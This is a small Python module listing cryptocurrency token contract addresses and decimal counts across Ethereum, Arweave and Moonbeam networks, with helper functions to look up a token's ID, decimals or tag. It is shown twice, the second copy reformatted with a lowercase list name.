TOKEN_LIST = [ #kovan ['ethereum', '42', 'eth', '0x0000000000000000000000000000000000000000', 18], ['ethereum', '42', 'usdt', '0xd85476c906b5301e8e9eb58d174a6f96b9dfc5ee', 6], ['ethereum', '42', 'usdc', '0xb7a4f3e9097c08da09517b5ab877f7a917224ede', 6], ['ethereum', '42', 'dai', '0xc4375b7de8af5a38a93548eb8453a498222c4ff2', 18], ['arweave', '99', 'pia', 'n05LTiuWcAYjizXAu-ghegaWjL89anZ6VdvuHcU6dno', 18], ['arweave', '99', 'vrt', 'usjm4PCxUd5mtaon7zc97-dt-3qf67yPyqgzLnLqk5A', 18], ['arweave', '99', 'xyz', 'mzvUgNc8YFk0w5K5H7c8pyT-FC5Y_ba0r7_8766Kx74', 18], ['arweave', '99', 'ardrive', '-8A6RexFkpfWwuyVO98wzSFZh0d6VJuI-buTJvlwOJQ', 18], ['arweave,ethereum', '0,42', 'ar', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,0xcc9141efa8c20c7df0778748255b1487957811be', 12], ['moonbase', '1287', 'dev', '0x0000000000000000000000000000000000000000', 18], ['moonbase', '1287', 'zlk', '0x322f069e9b8b554f3fb43cefcb0c7b3222242f0e', 18], #mainnet ['ethereum', '1', 'eth', '0x0000000000000000000000000000000000000000', 18], ['ethereum', '1', 'usdt', '0xdac17f958d2ee523a2206206994597c13d831ec7', 6], ['ethereum', '1', 'wbtc', '0x2260fac5e5542a773aa44fbcfedf7c193bc2c599', 8], ['ethereum', '1', 'usdc', '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48', 6], ['ethereum', '1', 'dai', '0x6b175474e89094c44da98b954eedeac495271d0f', 18], ['ethereum', '1', 'uni', '0x1f9840a85d5af5bf1d1762f925bdaddc4201f984', 18], ['ethereum', '1', 'sos', '0x3b484b82567a09e2588a13d54d032153f0c0aee0', 18], ['ethereum', '1', 'bank', '0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198', 18], ['ethereum', '1', 'dodo', '0x43dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd', 18], ['ethereum', '1', 'mask', '0x69af81e73a73b40adf4f3d4223cd9b1ece623074', 18], ['moonbeam', '1284', 'zlk', '0x3fd9b6c9a24e09f67b7b706d72864aebb439100c', 18], ['moonbeam', '1284', 'glmr', '0x0000000000000000000000000000000000000000', 18], ['arweave,ethereum', '0,1', 'ar', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,0x4fadc7a98f2dc96510e42dd1a74141eeae0c1543', 12], ['arweave', '0', 'ardrive', '-8A6RexFkpfWwuyVO98wzSFZh0d6VJuI-buTJvlwOJQ', 18], ['arweave', '0', 'vrt', 'usjm4PCxUd5mtaon7zc97-dt-3qf67yPyqgzLnLqk5A', 18], ] def get_token_id(chain_type, chain_id, token_symbol): for token in TOKEN_LIST: if token[0] == chain_type and token[1] == chain_id and token[2] == token_symbol: return token[3] def get_token_decimal(chain_type, chain_id, token_symbol): for token in TOKEN_LIST: if token[0] == chain_type and token[1] == chain_id and token[2] == token_symbol: return token[4] def get_token_tag(chain_type, chain_id, token_symbol, token_id=''): if not token_id: token_id = get_token_id(chain_type, chain_id, token_symbol) return '-'.join([chain_type, token_symbol, token_id])
token_list = [['ethereum', '42', 'eth', '0x0000000000000000000000000000000000000000', 18], ['ethereum', '42', 'usdt', '0xd85476c906b5301e8e9eb58d174a6f96b9dfc5ee', 6], ['ethereum', '42', 'usdc', '0xb7a4f3e9097c08da09517b5ab877f7a917224ede', 6], ['ethereum', '42', 'dai', '0xc4375b7de8af5a38a93548eb8453a498222c4ff2', 18], ['arweave', '99', 'pia', 'n05LTiuWcAYjizXAu-ghegaWjL89anZ6VdvuHcU6dno', 18], ['arweave', '99', 'vrt', 'usjm4PCxUd5mtaon7zc97-dt-3qf67yPyqgzLnLqk5A', 18], ['arweave', '99', 'xyz', 'mzvUgNc8YFk0w5K5H7c8pyT-FC5Y_ba0r7_8766Kx74', 18], ['arweave', '99', 'ardrive', '-8A6RexFkpfWwuyVO98wzSFZh0d6VJuI-buTJvlwOJQ', 18], ['arweave,ethereum', '0,42', 'ar', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,0xcc9141efa8c20c7df0778748255b1487957811be', 12], ['moonbase', '1287', 'dev', '0x0000000000000000000000000000000000000000', 18], ['moonbase', '1287', 'zlk', '0x322f069e9b8b554f3fb43cefcb0c7b3222242f0e', 18], ['ethereum', '1', 'eth', '0x0000000000000000000000000000000000000000', 18], ['ethereum', '1', 'usdt', '0xdac17f958d2ee523a2206206994597c13d831ec7', 6], ['ethereum', '1', 'wbtc', '0x2260fac5e5542a773aa44fbcfedf7c193bc2c599', 8], ['ethereum', '1', 'usdc', '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48', 6], ['ethereum', '1', 'dai', '0x6b175474e89094c44da98b954eedeac495271d0f', 18], ['ethereum', '1', 'uni', '0x1f9840a85d5af5bf1d1762f925bdaddc4201f984', 18], ['ethereum', '1', 'sos', '0x3b484b82567a09e2588a13d54d032153f0c0aee0', 18], ['ethereum', '1', 'bank', '0x2d94aa3e47d9d5024503ca8491fce9a2fb4da198', 18], ['ethereum', '1', 'dodo', '0x43dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd', 18], ['ethereum', '1', 'mask', '0x69af81e73a73b40adf4f3d4223cd9b1ece623074', 18], ['moonbeam', '1284', 'zlk', '0x3fd9b6c9a24e09f67b7b706d72864aebb439100c', 18], ['moonbeam', '1284', 'glmr', '0x0000000000000000000000000000000000000000', 18], ['arweave,ethereum', '0,1', 'ar', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,0x4fadc7a98f2dc96510e42dd1a74141eeae0c1543', 12], ['arweave', '0', 'ardrive', '-8A6RexFkpfWwuyVO98wzSFZh0d6VJuI-buTJvlwOJQ', 18], ['arweave', '0', 'vrt', 'usjm4PCxUd5mtaon7zc97-dt-3qf67yPyqgzLnLqk5A', 18]] def get_token_id(chain_type, chain_id, token_symbol): for token in TOKEN_LIST: if token[0] == chain_type and token[1] == chain_id and (token[2] == token_symbol): return token[3] def get_token_decimal(chain_type, chain_id, token_symbol): for token in TOKEN_LIST: if token[0] == chain_type and token[1] == chain_id and (token[2] == token_symbol): return token[4] def get_token_tag(chain_type, chain_id, token_symbol, token_id=''): if not token_id: token_id = get_token_id(chain_type, chain_id, token_symbol) return '-'.join([chain_type, token_symbol, token_id])